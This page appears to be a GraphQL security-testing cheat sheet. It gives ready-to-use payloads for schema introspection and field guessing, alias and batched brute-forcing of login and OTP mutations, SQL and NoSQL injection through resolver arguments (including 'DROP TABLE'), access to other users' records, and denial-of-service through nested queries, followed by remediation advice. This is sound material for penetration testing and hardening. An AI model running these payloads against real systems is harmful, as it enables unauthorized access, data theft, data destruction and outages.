Learn how to test GraphQL APIs for security flaws: introspection exposure, batching and aliasing abuse, injection through resolvers, broken authorization, and denial-of-service via deeply nested queries.
Find the endpoint (commonly /graphql, /api/graphql, /v1/graphql, or /graphql/console) and confirm it accepts POST queries. Run the introspection query to dump the full schema: every type, field, argument, mutation, and deprecated field. A reachable __schema reveals the entire attack surface and is the highest-value first step.
{__schema{types{name}}}query{__schema{queryType{name}mutationType{name}}}{__type(name:"User"){name fields{name type{name kind}}}}{__schema{types{name fields{name args{name}}}}}If introspection is blocked, the schema can often still be recovered. Field suggestions in error messages ('Did you mean ...') leak valid field names, and the schema can be brute-forced field by field with a wordlist or rebuilt from observed responses with tools like clairvoyance.
{user{usernam}} # triggers "Did you mean username" suggestion{__typename} # often allowed even when full introspection is offquery{secretAdmin{id}} # probe guessed field names for valid/invalid errorsGraphQL lets a single request run many operations. Use aliases to call the same field hundreds of times in one query, or send an array of operations (query batching), to bypass per-request rate limits — for example brute-forcing a login mutation or an OTP check in a single HTTP request.
{a:user(id:1){name} b:user(id:2){name} c:user(id:3){name}}mutation{l1:login(user:"admin",pass:"a"){token} l2:login(user:"admin",pass:"b"){token}}[{"query":"mutation{login(u:\"admin\",p:\"1234\"){token}}"},{"query":"mutation{login(u:\"admin\",p:\"1235\"){token}}"}]GraphQL is only a query layer — resolvers pass arguments to SQL, NoSQL, OS commands, or backend APIs. Treat every argument as an injection point and inject the classic payloads through filter, search, id, and orderBy arguments to reach the underlying data store.
{users(filter:"' OR '1'='1"){id email}}{user(id:"1; DROP TABLE users--"){name}}{products(where:{name:{_eq:"x\"}};return db.users.find();//"}}){id}}{search(q:"$where: '1==1'"){title}}Authorization is enforced per resolver, so checks are easy to miss. Request another user's object by ID, call admin-only mutations as a low-privileged user, and traverse nested relationships to reach data the top-level query gates but the nested field does not.
{user(id:1337){email passwordHash apiKey}} # access another user's recordmutation{deleteUser(id:2){success}} # call privileged mutation as a normal user{me{orders{id customer{ssn creditCard}}}} # over-fetch via nested resolversWithout depth limiting, query cost analysis, or pagination caps, a single query can exhaust server resources. Build deeply nested circular queries, request huge first/last values, and combine aliasing with nesting to amplify the load. Probe carefully — this can take a service down.
{posts{author{posts{author{posts{author{name}}}}}}} # circular nesting{allUsers(first:1000000){posts(first:1000000){comments{body}}}}{a:__schema{types{name}} b:__schema{types{name}} c:__schema{types{name}}} # alias amplificationRecord the endpoint, whether introspection was exposed, each vulnerable field/argument, the payload used, and the data or impact achieved. Recommend disabling introspection in production, enforcing query depth/complexity limits and timeouts, applying per-field authorization, and rate-limiting both batched operations and aliased fields.
POST /graphql introspection enabled -> full schema disclosure
users(filter) argument -> SQL injection, dumped credentials table
login mutation -> 500 attempts in one batched request (no rate limit)
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides